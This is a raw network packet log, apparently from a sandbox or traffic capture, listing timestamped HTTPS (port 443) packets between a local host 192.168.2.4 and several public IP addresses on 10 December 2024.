Dec 10, 2024 15:10:54.239336967 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.261008978 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.261030912 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.296859980 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.297331095 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.297355890 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.298413038 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.298487902 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.299050093 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.299113035 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.299273968 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.299282074 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.306628942 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.336707115 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.337138891 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.337153912 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.338217974 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.338283062 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.338865042 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.338937044 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.339093924 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.339101076 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.345175028 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.345480919 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.345509052 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.345916033 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.345976114 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.346649885 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.346690893 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.347640991 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.347709894 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.347788095 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.347799063 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.352197886 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.382626057 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.386699915 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.386837959 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.387242079 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.387729883 CET	50074	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.387749910 CET	443	50074	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.399307966 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.466079950 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:54.466427088 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:54.466443062 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:54.466797113 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:54.467793941 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:54.467879057 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:54.468269110 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:54.511339903 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:54.628812075 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:54.629198074 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:54.629232883 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:54.630316973 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:54.630397081 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:54.631572962 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:54.631664038 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:54.631892920 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:54.631911039 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:54.672980070 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:54.693766117 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:54.694073915 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:54.694106102 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:54.695209980 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:54.695272923 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:54.696351051 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:54.696427107 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:54.696639061 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:54.696647882 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:54.709156036 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.709249020 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.709304094 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.710002899 CET	50076	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.710019112 CET	443	50076	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.733485937 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.733648062 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.733715057 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.734385967 CET	50077	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.734400034 CET	443	50077	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.750698090 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:54.797564030 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:54.797599077 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:54.797682047 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:54.797944069 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:54.797955990 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:54.820691109 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.820786953 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.820844889 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.821549892 CET	50078	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.821572065 CET	443	50078	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.855493069 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.855592012 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.855659962 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.856498003 CET	50079	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:54.856517076 CET	443	50079	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:54.866226912 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.866338968 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.866404057 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.867325068 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.867350101 CET	443	50075	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:54.867362976 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:54.867410898 CET	50075	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:55.007910967 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:55.007940054 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:55.008003950 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:55.008276939 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:55.008287907 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:55.018688917 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:55.019330025 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:55.019360065 CET	443	50084	192.132.33.69	192.168.2.4
Dec 10, 2024 15:10:55.019412994 CET	50084	443	192.168.2.4	192.132.33.69
Dec 10, 2024 15:10:55.021193027 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.021231890 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:55.021295071 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.022016048 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.022028923 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:55.067014933 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:55.067111969 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:55.067198992 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.068547010 CET	50082	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.068579912 CET	443	50082	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:55.073311090 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.073354959 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.073427916 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.073720932 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.073740005 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.142693996 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:55.142805099 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:55.142874002 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:55.143304110 CET	50088	443	192.168.2.4	104.18.37.193
Dec 10, 2024 15:10:55.143340111 CET	443	50088	104.18.37.193	192.168.2.4
Dec 10, 2024 15:10:55.144907951 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.144954920 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:55.145021915 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.145272017 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:55.145289898 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:55.244168043 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:55.244211912 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:55.244278908 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:55.244709969 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:55.244735003 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:55.274168968 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.274597883 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.274626017 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.274997950 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.275846004 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.275923967 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.276247978 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.319324017 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.473789930 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.473795891 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.475430012 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.475464106 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.475615025 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.475640059 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.476676941 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.476736069 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.476830006 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.476886034 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.478404045 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.478538990 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.478693962 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.478703976 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.478796005 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.478900909 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.484927893 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:55.484968901 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:55.485037088 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:55.485416889 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:55.485436916 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:55.526875019 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.526895046 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.526918888 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.573215008 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:55.790875912 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.790982962 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.791057110 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.792346001 CET	50091	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:55.792362928 CET	443	50091	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:55.998661041 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.998764038 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:55.998819113 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:56.019979000 CET	50092	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:56.019998074 CET	443	50092	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:56.020489931 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:56.067328930 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:56.163728952 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.207583904 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.211945057 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.211962938 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.212465048 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.213036060 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.213108063 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.213205099 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.255327940 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.391985893 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.392348051 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.392365932 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.392751932 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.394159079 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.394253969 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.394364119 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.394376040 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.406184912 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:56.406614065 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:56.406637907 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:56.407696009 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:56.407794952 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:56.407819986 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:56.407864094 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:56.431534052 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:56.431634903 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:56.431719065 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:56.438348055 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.438657999 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:56.438667059 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.439117908 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.439438105 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:56.439547062 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.439599991 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:56.483334064 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.702080965 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.702378988 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.702402115 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.703484058 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.703547001 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.704130888 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.704224110 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.704608917 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.704619884 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.755558014 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.764174938 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.764277935 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.764324903 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.768165112 CET	50095	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.768188000 CET	443	50095	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.914525986 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:56.914576054 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:56.914625883 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:56.915507078 CET	50109	443	192.168.2.4	3.1.88.234
Dec 10, 2024 15:10:56.915524006 CET	443	50109	3.1.88.234	192.168.2.4
Dec 10, 2024 15:10:56.956700087 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.956794977 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.956840992 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:56.962467909 CET	50098	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:56.962488890 CET	443	50098	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:56.986288071 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:56.987178087 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:56.987204075 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:56.988329887 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:56.988377094 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:56.991440058 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.991513968 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:56.991555929 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.997754097 CET	50097	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:56.997767925 CET	443	50097	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.219012976 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.220050097 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:57.220067024 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.221256971 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.221318007 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:57.301665068 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.301745892 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.301800013 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.339596033 CET	50099	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.339620113 CET	443	50099	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.572129011 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:57.572274923 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:57.572521925 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:57.572712898 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:57.572778940 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:57.572884083 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:57.572897911 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:57.572943926 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.573241949 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:57.573256969 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:57.573309898 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:57.573332071 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.613164902 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:57.613164902 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:57.617646933 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:57.710225105 CET	50093	443	192.168.2.4	76.223.111.18
Dec 10, 2024 15:10:57.710244894 CET	443	50093	76.223.111.18	192.168.2.4
Dec 10, 2024 15:10:57.749797106 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.749835014 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.749902964 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.750396013 CET	50114	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.750411034 CET	443	50114	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.751151085 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.751173973 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.751224995 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.751507998 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.751527071 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.760267019 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.760293007 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:57.760361910 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.760591984 CET	50116	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.760603905 CET	443	50116	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:57.762377024 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.762394905 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:57.762447119 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.762645960 CET	50117	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.762659073 CET	443	50117	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:57.772634029 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.772644997 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:57.772742033 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.772953987 CET	50118	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:10:57.772967100 CET	443	50118	54.171.149.245	192.168.2.4
Dec 10, 2024 15:10:57.892362118 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.892455101 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.892518997 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:57.893080950 CET	50104	443	192.168.2.4	44.216.225.197
Dec 10, 2024 15:10:57.893110037 CET	443	50104	44.216.225.197	192.168.2.4
Dec 10, 2024 15:10:57.958693027 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:57.958780050 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:57.958833933 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:57.962677002 CET	50101	443	192.168.2.4	35.85.18.98
Dec 10, 2024 15:10:57.962691069 CET	443	50101	35.85.18.98	192.168.2.4
Dec 10, 2024 15:10:57.965118885 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.965147972 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:57.965253115 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.965537071 CET	50121	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:57.965553045 CET	443	50121	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:58.032062054 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:58.032146931 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:58.032252073 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:58.055063009 CET	50096	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:58.055072069 CET	443	50096	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:58.317152977 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:58.317167044 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:58.317243099 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:58.321053982 CET	50122	443	192.168.2.4	188.125.88.204
Dec 10, 2024 15:10:58.321063995 CET	443	50122	188.125.88.204	192.168.2.4
Dec 10, 2024 15:10:59.093908072 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.093931913 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.094259977 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.094482899 CET	50125	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.094495058 CET	443	50125	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.120315075 CET	443	50115	54.154.234.207	192.168.2.4
Dec 10, 2024 15:10:59.120614052 CET	50115	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:10:59.120629072 CET	443	50115	54.154.234.207	192.168.2.4
